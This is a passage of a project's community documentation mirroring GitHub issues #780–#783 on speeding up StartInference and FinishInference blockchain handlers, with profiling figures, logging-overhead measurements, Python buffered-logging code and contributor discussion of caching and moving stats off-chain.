SetInference (including the second time it is executed in HandleInferenceComplete): - 10% of FinishInference, - 12% of StartInference, - 14% of Validation - 33% is Logging, - 38% SetOrUpdateInferenceStatsByEpoch, - 22% SetOrUpdateInferenceStatusByTime w/o logging
HandleInferenceComplete, excluding SetInference, accounts for 16% of FinishInference and 4% of StartInference (as it is rare for StartInference to come second). - 20% is Logging - 45% is 2xGetEpochGroupData - 5% GetEpochIndex - 10% SetEpochGroupData, - 20% SetParticipant/GetParticipants w/o logging
ProcessInferencePayment: 14% of FinishInference and 12% of StartInference - 63% is Logging - 18% SetParticipant/2xGetParticipant w/o logging - 9% Add/GetTokenomicsData
FinishInference and 13% for StartInference. When completed report results before moving forward. If we confirm the difference, do the (I.2).StartInference and FinishInference (except one per transaction) to DEBUG. Measure results and report them.More details for I.2
Important: when redirecting to a file via >, full buffering kicks in (buffer ~8KB). The writes still go through stdout, and flushing can be delayed for minutes. This can significantly slow down the entire process.
After using a wrapper (writing to a file with explicit buffering): • You control the buffer size yourself (even 1MB). • No Docker daemon involvement in I/O. • Ability to do batched writes and use a dedicated writer thread.
Bottom line: it won’t magically become “16x faster,” but the main bottleneck, passing through stdout, will be removed completely. The wrapper will give you the maximum performance your filesystem can provide.
Something like: import sys from contextlib import redirect_stdout
def run_with_buffered_file(func, log_path, buffer_size=1024*64): \"\"\" Temproraly redirects stdout to the file with buffer \"\"\" with open(log_path, 'w', buffering=buffer_size, encoding='utf-8') as f: with redirect_stdout(f): func() or def my_task(): print(\"this goes to the file, not to the docker logs\") # Subprocess output will NOT be captured unless you redirect it explicitly.
run_with_buffered_file(my_task, \"/app/logs/task.log\", buffer_size=128*1024)
high-load example / max speed prod gives more >10k rows/sec. \n\nimport threading\nimport queue\nimport sys\nimport time\nfrom contextlib import redirect_stdout\n\nclass AsyncFileWriter:\n def init(self, filepath, buffer_size=1024*1024, max_queue=10000):\n self.file = open(filepath, 'a', buffering=buffer_size, encoding='utf-8')\n self.queue = queue.Queue(maxsize=max_queue)\n self.running = True\n threading.Thread(target=self._writer, daemon=True).start()\n\n def write(self, s):\n try:\n self.queue.put_nowait(s)\n except queue.Full:\n # Memory overflow protection: flush to the main writer thread.\n self.file.write(s)\n\n def flush(self):\n self.file.flush()\n\n def _writer(self):\n while self.running:\n try:\n s = self.queue.get(timeout=0.1)\n self.file.write(s)\n except queue.Empty:\n continue\n\n def close(self):\n self.running = False\n time.sleep(0.2) # Give the queue time to record.\n self.file.close()\n\ndef run_async_logging(func, log_path):\n writer = AsyncFileWriter(log_path, buffer_size=256*1024)\n with redirect_stdout(writer):\n func()\n writer.close()\nNever do this:
CMD python app.py > /logs/app.log\nDo this instead:
FROM python:3.11-slim\nWORKDIR /app\nCOPY app.py .\n\n# The -u flag disables Python stdout buffering, but we don’t rely on it:\n# we control file buffering ourselves. Keeping it as a safety measure.\nENV PYTHONUNBUFFERED=1\n\nCMD [\"python\", \"app.py\"]\napp.py, wrap the entry point: if __name__ == \"__main__\":\n with open(\"/var/log/app/out.log\", \"a\", buffering=64*1024, encoding=\"utf-8\") as f:\n tee = Tee(sys.stdout, f)\n with redirect_stdout(tee):\n main()\nPay attention: - A high-load, max-speed production example outputs >10k lines/sec, showing an 8 to 16x difference. - A simple wrapper will already solve the problem and should give a solid 5 to 6x speedup. - stdout is the slowest path and it holds a lock until the operation completes. - An unbuffered file will be slower than stdout, because every print becomes a write() to disk. - A buffered file will be much faster, because it only writes when the 64KB buffer fills.
"}, {"location": "community/issues/00780-14-startinference-and-finishinference/#important", "title": "Important", "text": "This issue is one of five issues in the [0/4] StartInference and FinishInference series (and correspondingly [1/4], [2/4], [3/4], [4/4]). These tasks can be completed independently of each other by different contributors. However, this specific task requires maintaining and operating a node on mainnet in order to test and validate the result.
All five issues [0/4], [1/4], [2/4], [3/4], [4/4] in this series must be completed as part of the v0.2.11 upgrade, which is scheduled for the week of February 23. After the v0.2.11 upgrade, these tasks will no longer be relevant, because a different solution can/will be proposed.
"}, {"location": "community/issues/00780-14-startinference-and-finishinference/#comments-10", "title": "💬 Comments (10)", "text": "@tcharchian commented 2026-02-20 22:41 UTCIf you’re ready to take this task on, please leave a comment here so other community members can see it’s already being worked on.
@hleb-albau commented 2026-02-24 10:30 UTCI ran CPU profiling (30 min each) on a synced mainnet node under two configurations: log_level=info and log_level=error.
Results — logging overhead as % of total handler time (including all nested calls):
Handler Total time (info) LogInfo overhead % of handler After log_level=error Reduction_Msg_StartInference_Handler 10.33s 1.14s 11.0% 0.05s (0.4%) -95.6% _Msg_FinishInference_Handler 15.40s 1.66s 10.8% 0.06s (0.4%) -96.4% So ~11% of handler execution is spent in logging. Setting log_level=error reduces that to ~0.4% — essentially just the log level check in Logger().
NOTE: CPU profiling is sample-based (100 samples/sec), not a precise timer — it tells us where the CPU spends time statistically, not exact wall-clock execution time per call. The 11% figure is a directional signal, not a precise measurement.
btw 1. what is a purpose to have that logs? 2. what is a purpose to have that logs with INFO level?
About the big task itself, i am not familiar with all stuff going on right now on chain, but in past a had experience, that you could use own storage, outside of IAVL tree, and commit to IAVL only small portion of that data.
@libermans commented 2026-02-26 04:11 UTCAn update on 780. As we can see in traces most of the time spend on logging is due \"json\" decoding-encoding. Which can be turn off by log_format = \"json\" (by default it is set to log_format = \"plain\"). @hleb-albau can you please run the same test but with log_format = \"json\" config?
@tcharchian commented 2026-02-26 17:47 UTC@hleb-albau can I kindly ask you to contact me tania.charchian@productscience.ai
@tcharchian commented 2026-02-26 17:48 UTCAn update on 780. As we can see in traces most of the time spend on logging is due \"json\" decoding-encoding. Which can be turn off by log_format = \"json\" (by default it is set to log_format = \"plain\"). @hleb-albau can you please run the same test but with log_format = \"json\" config?
@hleb-albau are you ready to run the same test but with log_format = \"json\" config?
@hleb-albau commented 2026-02-26 20:01 UTCAn update on 780. As we can see in traces most of the time spend on logging is due \"json\" decoding-encoding. Which can be turn off by log_format = \"json\" (by default it is set to log_format = \"plain\"). @hleb-albau can you please run the same test but with log_format = \"json\" config?
@hleb-albau are you ready to run the same test but with log_format = \"json\" config?
yes, will do it next 24h
@hleb-albau commented 2026-02-27 10:12 UTC### Plain (prod-30min-logs-plain)
StartInference 5.25s 0.24s 0.06s 0.30s 5.7% FinishInference 6.91s 0.45s 0.15s 0.60s 8.7% processInferencePayments 0.72s 0.14s 0.21s 0.35s 48.6% JSON (prod-30min-logs-json) method cum total LogInfo logTransaction sum log %я StartInference 34.78s 0.54s — 0.54s 1.6% FinishInference 35.90s 0.85s — 0.85s 2.4% processInferencePayments 2.54s 0.36s 0.33s 0.69s 27.2% NOTE: StartInference and FinishInference in that table show total time spent in log, including subfunctions(like processInferencePayments).
Zerolog internally stores all data as a JSON string (to minimize allocations) — every Append key=val call simply mutates that string. In our case we always log one message at a time, meaning the JSON is built once and immediately flushed to output.
In plain log mode, zerolog parses that JSON before writing, reformatting it into a human-readable string with colors. In JSON log mode, the JSON string is written as-is.
Looking at processInferencePayments, logging still accounts for roughly a quarter of its total time. About half of that quarter is spent building the JSON string — appending key-value pairs one by one. For primitive values (strings, numbers, etc.) this is fast. For struct values, zerolog invokes more complex serialization logic that depends on the struct's shape.
For example, in UpdateParticipantStatus, roughly half of the JSON-building time inside k.LogInfo(\"Participant status updated\", types.Validation, \"address\", participant.Address, \"original\", originalStatus, \"new\", newStatus, \"reason\", reason, \"stats\", participant.CurrentEpochStats) is spent serializing participant.CurrentEpochStats. In other places, the bottleneck is converting types.AccAddress to a string — which internally goes through a cache protected by a mutex or calc bench32. Note: not only UpdateParticipantStatus suffer from this, other places in StartInference and FinishInference have similar problems.
It might make sense to rework the logger internals to store data as a map instead of a JSON string, so ConsoleWriter could print it directly without parsing JSON first. But it's worth thinking about whether that's actually needed right now.
What's definitely worth doing is revisiting what data gets logged. I'll open a PR a bit later to remove the heavy structs from log calls.
@AlexeySamosadov commented 2026-03-03 11:25 UTCPR: https://github.com/gonka-ai/gonka/pull/847
@AlexeySamosadov commented 2026-03-03 12:00 UTCSummary of what was done in PR #847:
Based on the profiling analysis by @hleb-albau (logging overhead ~11% of handler time at INFO level, heavy struct serialization in processInferencePayments accounting for 25-48% of its time), the following changes were implemented:
~20 LogInfo calls moved to LogDebug across 7 files in the StartInference/FinishInference hot path: - msg_server_start_inference.go — 5 calls (entry log, DevPubKey, TransferAgentPubKey, validateTimestamp, addTimeout) - msg_server_finish_inference.go — 1 call (entry log) - inference.go — 1 call (developer stat update) - developer_stats_aggregation.go — 1 call (verbose stat log) - developer_stats_store.go — 3 calls (record-tracking logs) - payment_handler.go — 7 calls (escrow, minting, paying, burning, refund) - dynamic_pricing.go — 1 call + removed heavy inference struct from error log (replaced with lightweight fields)
All ERROR/WARN logs preserved. Per-block pricing logs stay at INFO (run once per block, not per inference). Expected result: with log_level=info + log_format=json, logging overhead should drop from ~11% to well under 1%.
The big part of inference flow optimization is merged in https://github.com/gonka-ai/gonka/pull/812 I'm closing all [*/4] StartInference and FinishInference: optimiziation tasks to finalize this work in milestone 0.2.11. I think it'd be better to re-open in case of additinal optimizations required
🔄 Auto-synced from Issue #780 every hour.
"}, {"location": "community/issues/00781-24-startinference-and-finishinference/", "title": "#781 — [2/4] `StartInference` and `FinishInference`", "text": "[2/4] `StartInference` and `FinishInference` #781 Closed @tcharchian opened 2026-02-20 22:26 UTC 13 comments Updated 2026-03-11 20:01 UTC Priority: High"}, {"location": "community/issues/00781-24-startinference-and-finishinference/#background", "title": "Background", "text": "MsgStartInference and MsgFinishInference are too slow in production. Blocks should be processed by nodes within 1-2 seconds, so that block time stays below 6 seconds. This means that to process 1000 inferences in a block, we need to record 1000 MsgStartInference, 1000 MsgFinishInference, and 100-200 MsgValidation transactions. This means that these transactions should be processed faster than 1ms. Even though they are quite fast in tests, in production with a large state they require 10-20ms, and on some nodes 50ms or more.
There are 2 main areas identified that contribute most of the time to transactions: - Signatures validation (57% of FinishInference and 63% of StartInference) - Stats query and recording (40% of FinishInference and 30% of StartInference)
Download profiling file: https://drive.google.com/file/d/1yxY91lzMHxv_MeloAxW1zczcpbkBjZ0t/ And use command:
go tool pprof -http=:8080 /Users/davidliberman/Downloads/pprof.inferenced.samples.cpu.001.pb.gz\nAnd choose flame graph to explore
Screen recoding: https://drive.google.com/file/d/1yxDaJllxCQ-l3ZO6ZuBb5bTEUgZ5t7Yu/view?usp=sharing
Signature validation can be significantly optimized, reducing the number of signatures to be validated in most scenarios by 5x (from 5 signatures to just 1).
https://github.com/gonka-ai/gonka/issues/608 - which is now implemented by @DimaOrekhovPS
https://github.com/gonka-ai/gonka/pull/779
Stats query and recording is designed to make it easier to query usage statistics for inference operations by storing this data on a chain. However, it is too heavy for on-chain operations and should be removed. In the end, we shouldn't read and write any large state record in MsgStartInference, MsgFinishInference, or MsgValidation.
SetInference (including the second time it is executed in HandleInferenceComplete): - 10% of FinishInference, - 12% of StartInference, - 14% of Validation - 33% is Logging, - 38% SetOrUpdateInferenceStatsByEpoch, - 22% SetOrUpdateInferenceStatusByTime w/o logging
HandleInferenceComplete, excluding SetInference, accounts for 16% of FinishInference and 4% of StartInference (as it is rare for StartInference to come second). - 20% is Logging - 45% is 2xGetEpochGroupData - 5% GetEpochIndex - 10% SetEpochGroupData, - 20% SetParticipant/GetParticipants w/o logging
ProcessInferencePayment: 14% of FinishInference and 12% of StartInference - 63% is Logging - 18% SetParticipant/2xGetParticipant w/o logging - 9% Add/GetTokenomicsData
We do SetInference twice in the main function of the StartInference and FinishInference messages, as well as in HandleInferenceComplete for the second Start/Finish. We can execute it once.
We should move SetDeveloperStats with SetOrUpdateInferenceStatsByEpoch and SetOrUpdateInferenceStatusByTime from SetInference to off-chain (store the data on api node). The stored structures are quite big for the on-chain storage.
Add the required data to the emitted event in HandleInferenceComplete (inference_finished event), and adjust the event listener on api nodes to collect this data and store it independently (look for storage we use for payload storage on api node). Check which endpoints are used by the dashboard, and see if we need to store the per-inference stats (like we do now), or only per block/model cumulative stats.
This issue is one of five issues in the [0/4] StartInference and FinishInference series (and correspondingly [1/4], [2/4], [3/4], [4/4]). These tasks can be completed independently of each other by different contributors. This specific task does not requires maintaining and operating a node on mainnet in order to test and validate the result.
All five issues [0/4], [1/4], [2/4], [3/4], [4/4] in this series must be completed as part of the v0.2.11 upgrade, which is scheduled for the week of February 23. After the v0.2.11 upgrade, these tasks will no longer be relevant, because a different solution can/will be proposed.
"}, {"location": "community/issues/00781-24-startinference-and-finishinference/#comments-13", "title": "💬 Comments (13)", "text": "@tcharchian commented 2026-02-20 22:41 UTCIf you’re ready to take this task on, please leave a comment here so other community members can see it’s already being worked on.
@akup commented 2026-02-21 04:08 UTCIt is important to mention, that SetInference -> SetDeveloperStats are also called at validation, revalidation, invalidation. There we only change the status of the existing inference. So when we move DevelopersStats off-chain, we also should handle validation events (and emit new events if needed).
@libermans commented 2026-02-21 05:20 UTCYes, correct.
Also DeveloperStats are used for DynamicPricing and MaximumInvalidationsReached, we should use some optimal storage for that values but likely should be implemented after both this task and https://github.com/gonka-ai/gonka/issues/782 finished.
@x0152 commented 2026-02-22 12:02 UTCI'd like to take this on and start with draft #788. I'm ready to pass ownership If someone has a stronger approach
@x0152 commented 2026-02-23 21:14 UTCWith stats computation moved off-chain, StatsByTimePeriodByDeveloper and StatsByDeveloperAndEpochsBackwards will only return legacy data no longer updated after cutover (kept for compatibility). Do we need new dapi endpoints for per-developer stats from the local store, or is that out of scope now?
StatsByTimePeriodByDeveloper and StatsByDeveloperAndEpochsBackwards are not called internally (only InferencesAndTokensStatsByModels is used by pricing)
@libermans commented 2026-02-24 00:53 UTCPer-developer. I don't think we use it now anywhere, so out of scope likely
For DynamicPricing and MaximumInvalidationsReached we need an on-chain storage, I would say with rolling sum for X blocks (the amount of blocks we get from params for DynamicPricing and MaximumInvalidationsReached). Which I would prefer to be in EndBlocker.
How would you implement it?
@akup have you moved the iterating though inferences to EndBlocker for InferenceValidationDetails in 782?
@libermans commented 2026-02-24 01:27 UTC@x0152 I see that you actually store the values directly in HandleComplete. Do you think that it will be faster that way? Should we clean the old keys to not store them for entire history on chain for every block?
Have you implemented it only for DynamicPricing or for MaximumInvalidationsReached as well?
@akup commented 2026-02-24 05:50 UTC@akup have you moved the iterating though inferences to EndBlocker for InferenceValidationDetails in 782?
I've implemented another approach it is described (with motivation) in details at https://github.com/gonka-ai/gonka/pull/793 Need to discuss it.
@x0152 commented 2026-02-24 07:24 UTCI added lightweight on-chain storage for both DynamicPricing and MaximumInvalidationsReached (via GetSummaryByModelAndTime). To keep business logic working after removing DeveloperStats from the hot path, we now write only a fixed 24-byte aggregate per (model, second), which should stay fast under load. This is a temporary compromise (a better long-term option is rolling sums in EndBlocker after current tasks), but local benchmarks already show ~20x faster execution and ~30x lower memory usage.
Pruning is definitely needed, and if this approach is accepted, I will add it next
@x0152 commented 2026-02-24 14:21 UTCAdded description to PR #788 with \"Out of scope\" section (from my point of view). Let me know if any of those items are critical for this PR and I should include them
@akup commented 2026-03-04 16:00 UTC@x0152 are you going to implement rolling sums for X blocks at this commit?
@x0152 commented 2026-03-04 16:09 UTC@akup This issue is already closed by PR #812, so there's no point in implementing and maintaining rolling sums here
@gmorgachev commented 2026-03-11 20:01 UTCThe big part of inference flow optimization is merged in https://github.com/gonka-ai/gonka/pull/812 I'm closing all [*/4] StartInference and FinishInference: optimiziation tasks to finalize this work in milestone 0.2.11. I think it'd be better to re-open in case of additinal optimizations required
🔄 Auto-synced from Issue #781 every hour.
"}, {"location": "community/issues/00782-34-startinference-and-finishinference/", "title": "#782 — [3/4] `StartInference` and `FinishInference`", "text": "[3/4] `StartInference` and `FinishInference` #782 Closed @tcharchian opened 2026-02-20 22:37 UTC 5 comments Updated 2026-03-11 20:01 UTC Priority: High requires own mainnet node"}, {"location": "community/issues/00782-34-startinference-and-finishinference/#background", "title": "Background", "text": "MsgStartInference and MsgFinishInference are too slow in production. Blocks should be processed by nodes within 1-2 seconds, so that block time stays below 6 seconds. This means that to process 1000 inferences in a block, we need to record 1000 MsgStartInference, 1000 MsgFinishInference, and 100-200 MsgValidation transactions. This means that these transactions should be processed faster than 1ms. Even though they are quite fast in tests, in production with a large state they require 10-20ms, and on some nodes 50ms or more.
There are 2 main areas identified that contribute most of the time to transactions: - Signatures validation (57% of FinishInference and 63% of StartInference) - Stats query and recording (40% of FinishInference and 30% of StartInference)
Download profiling file: https://drive.google.com/file/d/1yxY91lzMHxv_MeloAxW1zczcpbkBjZ0t/ And use command:
go tool pprof -http=:8080 /Users/davidliberman/Downloads/pprof.inferenced.samples.cpu.001.pb.gz\nAnd choose flame graph to explore
Screen recoding: https://drive.google.com/file/d/1yxDaJllxCQ-l3ZO6ZuBb5bTEUgZ5t7Yu/view?usp=sharing
Signature validation can be significantly optimized, reducing the number of signatures to be validated in most scenarios by 5x (from 5 signatures to just 1).
https://github.com/gonka-ai/gonka/issues/608 - which is now implemented by @DimaOrekhovPS
https://github.com/gonka-ai/gonka/pull/779
Stats query and recording is designed to make it easier to query usage statistics for inference operations by storing this data on a chain. However, it is too heavy for on-chain operations and should be removed. In the end, we shouldn't read and write any large state record in MsgStartInference, MsgFinishInference, or MsgValidation.
SetInference (including the second time it is executed in HandleInferenceComplete): - 10% of FinishInference, - 12% of StartInference, - 4% of Validation - 33% is Logging, - 38% SetOrUpdateInferenceStatsByEpoch, - 22% SetOrUpdateInferenceStatusByTime w/o logging
HandleInferenceComplete, excluding SetInference, accounts for 16% of FinishInference and 4% of StartInference (as it is rare for StartInference to come second). - 20% is Logging - 45% is 2xGetEpochGroupData - 5% GetEpochIndex - 10% SetEpochGroupData, - 20% SetParticipant/GetParticipants w/o logging
ProcessInferencePayment: 14% of FinishInference and 12% of StartInference - 63% is Logging - 18% SetParticipant/2xGetParticipant w/o logging - 9% Add/GetTokenomicsData
In HandleInferenceComplete, we also read GetEpochGroupData to add ExecutorReputation, ExecutorPower, and TotalPower (of the model group) to InferenceValidationDetails, which is then saved for future validation. We also increment NumberOfRequests of the epoch group and save it. This operation should also be moved to the EndBlocker. Execute GetEpochGroup (main and for each required models) and SetEpochGroup only once per block.
We should add a key Block+InferenceId in HandleInferenceComplete then iterate through the keys to get Inferences by id during EndBlocker to store InferenceValidationDetails (clean keys immediately in the EndBlocker after the iteration).
After moving those operations to the EndBlocker, we need to validate if the endblocker time won't be increased significantly by the action (though adding GetInference iterations to EndBlock without changing state during transactions) - it should take not more than 50-100ms for 1000 inferences in a mainnet node. The test can be done by adding the read operations to EndBlocker mainnet node but without set operation, so that state of the node will stay the same.
This issue is one of five issues in the [0/4] StartInference and FinishInference series (and correspondingly [1/4], [2/4], [3/4], [4/4]). These tasks can be completed independently of each other by different contributors. However, this specific task requires maintaining and operating a node on mainnet in order to test and validate the result.
All five issues [0/4], [1/4], [2/4], [3/4], [4/4] in this series must be completed as part of the v0.2.11 upgrade, which is scheduled for the week of February 23. After the v0.2.11 upgrade, these tasks will no longer be relevant, because a different solution can/will be proposed.
"}, {"location": "community/issues/00782-34-startinference-and-finishinference/#comments-5", "title": "💬 Comments (5)", "text": "@tcharchian commented 2026-02-20 22:41 UTCIf you’re ready to take this task on, please leave a comment here so other community members can see it’s already being worked on.
@akup commented 2026-02-21 15:27 UTCI will take it
@akup commented 2026-02-24 05:29 UTC@libermans I've found that EpochGroupData should be read/write once in a lot of places. It is a relatively large structure and we should optimize on its decoding/encoding on read/write to store.
Moreover there are places where we do not read EpochGroupData but should to. Every operation that is intended to be called by active participant should be checked for was the message came from real active participant. For example StartInference message could be runned by any developer account (currently there is a TA whitelist that blocks this vulnarability, but after removing this whitelist it will be reopened). So any account can start inferences that will not be finished and any honest participant could be slashed. Same thing for validation/invalidation/revalidation. But the main point that we very often need to read EpochGroupData to check if message came from active participant (ConfirmationWeight > 0)
So I've implemented a more generic approach using EpochGroupData 2level caches: per-tx cache + per-block cache. We read/write EpochGroupData once to store. Tx-draft-cache is needed because tx can be reverted so we first store in context-binded memory all changes and commit them to per-block cache when tx succeeds. Finally we write the per-block cache at EndBlocker and clear it on block start.
More detailed description is attached to PR, also there is explanation on cosmos SDK optimistic mode, to run txs in parallel on multicore CPUs.
Added PR here: https://github.com/gonka-ai/gonka/pull/793 Currently i'm taking it to tests on running node
@akup commented 2026-02-24 06:12 UTC@libermans Do we really need to move InferenceValidationDetails to EndBlocker? If the only purpose is to have precise value at TrafficBasis: uint64(math.Max(currentEpochGroup.GroupData.NumberOfRequests, currentEpochGroup.GroupData.PreviousEpochRequests))
it seams to be not a lot of meaning, as this value changes every block and it could be ok to use previous block value.
I understand that the idea was to move reading and writing currentEpochGroup.GroupData to endBlocker to make it once in one place, but if using caches that are aimed to solve same problem more generically, maybe we could keep updating InferenceValidationDetails in message handling without moving to EndBlocker?
The big part of inference flow optimization is merged in https://github.com/gonka-ai/gonka/pull/812 I'm closing all [*/4] StartInference and FinishInference: optimiziation tasks to finalize this work in milestone 0.2.11. I think it'd be better to re-open in case of additinal optimizations required
🔄 Auto-synced from Issue #782 every hour.
"}, {"location": "community/issues/00783-44-startinference-and-finishinference/", "title": "#783 — [4/4] `StartInference` and `FinishInference`", "text": "[4/4] `StartInference` and `FinishInference` #783 Closed @tcharchian opened 2026-02-20 22:40 UTC 22 comments Updated 2026-03-11 20:01 UTC Priority: High"}, {"location": "community/issues/00783-44-startinference-and-finishinference/#background", "title": "Background", "text": "MsgStartInference and MsgFinishInference are too slow in production. Blocks should be processed by nodes within 1-2 seconds, so that block time stays below 6 seconds. This means that to process 1000 inferences in a block, we need to record 1000 MsgStartInference, 1000 MsgFinishInference, and 100-200 MsgValidation transactions. This means that these transactions should be processed faster than 1ms. Even though they are quite fast in tests, in production with a large state they require 10-20ms, and on some nodes 50ms or more.
There are 2 main areas identified that contribute most of the time to transactions: - Signatures validation (57% of FinishInference and 63% of StartInference) - Stats query and recording (40% of FinishInference and 30% of StartInference)
Download profiling file: https://drive.google.com/file/d/1yxY91lzMHxv_MeloAxW1zczcpbkBjZ0t/ And use command:
go tool pprof -http=:8080 /Users/davidliberman/Downloads/pprof.inferenced.samples.cpu.001.pb.gz\nAnd choose flame graph to explore
Screen recoding: https://drive.google.com/file/d/1yxDaJllxCQ-l3ZO6ZuBb5bTEUgZ5t7Yu/view?usp=sharing
Signature validation can be significantly optimized, reducing the number of signatures to be validated in most scenarios by 5x (from 5 signatures to just 1).
https://github.com/gonka-ai/gonka/issues/608 - which is now implemented by @DimaOrekhovPS
https://github.com/gonka-ai/gonka/pull/779
Stats query and recording is designed to make it easier to query usage statistics for inference operations by storing this data on a chain. However, it is too heavy for on-chain operations and should be removed. In the end, we shouldn't read and write any large state record in MsgStartInference, MsgFinishInference, or MsgValidation.
SetInference (including the second time it is executed in HandleInferenceComplete): - 10% of FinishInference, - 12% of StartInference, - 14% of Validation - 33% is Logging, - 38% SetOrUpdateInferenceStatsByEpoch, - 22% SetOrUpdateInferenceStatusByTime w/o logging
HandleInferenceComplete, excluding SetInference, accounts for 16% of FinishInference and 4% of StartInference (as it is rare for StartInference to come second). - 20% is Logging - 45% is 2xGetEpochGroupData - 5% GetEpochIndex - 10% SetEpochGroupData, - 20% SetParticipant/GetParticipants w/o logging
ProcessInferencePayment: 14% of FinishInference and 12% of StartInference - 63% is Logging - 18% SetParticipant/2xGetParticipant w/o logging - 9% Add/GetTokenomicsData
SetParticipant is executed twice in ProcessInferencePayment and HandleInferenceComplete for the second Start/Finish transaction, when it could be executed just once.
Most of the time spent in SetParticipant is consumed by ComputeStatus and GetParams (except for Logging, which takes 50%, which we discussed separately in https://github.com/gonka-ai/gonka/issues/780). Decimal.Ln in ComputeStatus can be optimized significantly. Regarding GetParams, we read it for each transaction in any case, so we can pass it to SetParticipant and reuse what we already have.
This issue is one of five issues in the [0/4] StartInference and FinishInference series (and correspondingly [1/4], [2/4], [3/4], [4/4]). These tasks can be completed independently of each other by different contributors. This specific task does not require maintaining and operating a node on mainnet in order to test and validate the result.
All five issues [0/4], [1/4], [2/4], [3/4], [4/4] in this series must be completed as part of the v0.2.11 upgrade, which is scheduled for the week of February 23. After the v0.2.11 upgrade, these tasks will no longer be relevant, because a different solution can/will be proposed.
"}, {"location": "community/issues/00783-44-startinference-and-finishinference/#comments-22", "title": "💬 Comments (22)", "text": "@tcharchian commented 2026-02-20 22:40 UTCIf you’re ready to take this task on, please leave a comment here so other community members can see it’s already being worked on.
@akup commented 2026-02-21 04:32 UTCAccording to GetParams. If we read it for each transaction, it could be read once per block, to also optimize reads on each transaction.
We change params not so often and only by authority or proposals, so we can afford per block cache for params.
@libermans commented 2026-02-21 05:23 UTCThe challenge that params can be changed through a transaction, so we can't use per block cache. But can use per transaction cache for Start, Finish, Validate.
I would add additional functions to Keeper with GetParam, to store cache and clean it, and run store cache in the begging of the transactions and defer clean.
@akup commented 2026-02-21 05:23 UTCAccording the ComputeStatus it seams we can completely skip it on HandleInferenceComplete and ProcessInferencePayment.
Calculations there are: probabilityOfConsecutiveFailures (don't change on inference completion and will not throw error) getInvalidationStatus (isn't related to inference completion and should be skipped) getInactiveStatus (can not fail if we completed inference and could be skipped) getConfirmationPoCStatus (isn't related to inference completion)
So we can skip ComputeStatus for inference complete?
@libermans commented 2026-02-21 05:27 UTCYou actually right, so we may add parameter for the function to skip compute status and use it in the Start/Finish.
@akup commented 2026-02-21 05:27 UTCAccording to GetParams. Yes they can change through the transaction. but only if we set them (via authority or proposal).
And I think that it is absolutely affordable to ignore this change till the block ends, and use the change only on the next blocks
@libermans commented 2026-02-21 05:31 UTCYou may be right here, that we can wait for the next block. I'm thinking about corner cases, like can we do multiple changes within one block, which require us to read parameters, but likely you right. It just usually not recommended to have any cache per block, to insure determinism. But you may be right that there is no case for non-determinism here.
@akup commented 2026-02-21 05:34 UTCEven if we do multiple changes per one block, I think it is something very strange if the change is reading previous state...
Anyway we control this by proposals and can manage to be in separate blocks
@x0152 commented 2026-02-21 11:20 UTCI'd like to help with this issue if no one is working on it yet
@x0152 commented 2026-02-21 12:02 UTCEven if we do multiple changes per one block, I think it is something very strange if the change is reading previous state...
Anyway we control this by proposals and can manage to be in separate blocks
I agree block height caching can help, and it may improve consistency when workers run in parallel. But we still need more testing to prove it is safe and useful in multi-node setups
In PR #542, using 'x-cosmos-block-height' looks good, but we should measure cache hit rate first, because if misses are frequent the real speedup may be small
Since v0.2.11 is close, I suggest we keep quick safe fixes now (including local memoization) and move block-height caching to the next update
@x0152 commented 2026-02-21 12:15 UTCAccording the ComputeStatus it seams we can completely skip it on HandleInferenceComplete and ProcessInferencePayment.
Calculations there are: probabilityOfConsecutiveFailures (don't change on inference completion and will not throw error) getInvalidationStatus (isn't related to inference completion and should be skipped) getInactiveStatus (can not fail if we completed inference and could be skipped) getConfirmationPoCStatus (isn't related to inference completion)
So we can skip ComputeStatus for inference complete?
If we skip ComputeStatus on HandleInferenceComplete, then InactiveLLR won't be updated with the successful inference result. What do you think?
@akup commented 2026-02-21 15:25 UTCIf we skip ComputeStatus on HandleInferenceComplete, then InactiveLLR won't be updated with the successful inference result. What do you think?
InactiveLLR is used only here when we compute the status and it has effect on logic only if it fails. When Participant became inactive it can become active again only on next epoch. Serving inference will not change it's status to inactive from active. So inactiveLLR can be just for information for get queries. But I don't think we should store and calculate something on chain that is just for information, all of this could be caluclated offchain.
So for performance it is better to skip it here.
@akup commented 2026-02-21 15:27 UTCI'd like to help with this issue if no one is working on it yet
@x0152 I've already started it with 782
@akup commented 2026-02-21 15:44 UTCI agree block height caching can help, and it may improve consistency when workers run in parallel. But we still need more testing to prove it is safe and useful in multi-node setups
It's onchain logic, it's hard to compare with the case of 'x-cosmos-block-height' when there is offchain communication with multiple chain nodes that can have different height.
Here we are determenistic every node on height X has the same state and input, and they all can have the logic that if params are adjusted by proposal this params are not used before next block (it's determenistic).
@x0152 commented 2026-02-21 19:27 UTCInactiveLLR is used only here when we compute the status and it has effect on logic only if it fails. When Participant became inactive it can become active again only on next epoch. Serving inference will not change it's status to inactive from active. So inactiveLLR can be just for information for get queries. But I don't think we should store and calculate something on chain that is just for information, all of this could be caluclated offchain.
So for performance it is better to skip it here.
InactiveLLR tracks both passes and misses. If we skip ComputeStatus on completion, pass updates are not applied, while misses are still applied. As a result, getInactiveStatus can move a participant to 'inactive' earlier than intended Moving this offchain is not trivial task, since InactiveLLR is consensus state used by on-chain status logic
@x0152 commented 2026-02-21 19:34 UTCI agree block height caching can help, and it may improve consistency when workers run in parallel. But we still need more testing to prove it is safe and useful in multi-node setups
It's onchain logic, it's hard to compare with the case of 'x-cosmos-block-height' when there is offchain communication with multiple chain nodes that can have different height.
Here we are determenistic every node on height X has the same state and input, and they all can have the logic that if params are adjusted by proposal this params are not used before next block (it's determenistic).
my bad, mixed up dapi and on-chain context here, sorry
@akup commented 2026-02-23 09:35 UTCInactiveLLR tracks both passes and misses.
It doesn't track them, it is used for status computations. InferenceCount and MissedRequests are tracked at Participant. CurrentEpochStats and we don't miss this tracking by skipping status recomputation. The logic is that first we change this InferenceCount and MissedRequests, and then we set the Participant, it calls setting Participant status, that is calculated from this parameters. But if we serve the inference successfully participant can't change it's status and we don't need to compute it.
Sorry for pushing on this, I just want to understand where I'm wrong
I wrote a quick test to check this (50 completions + 6 misses):
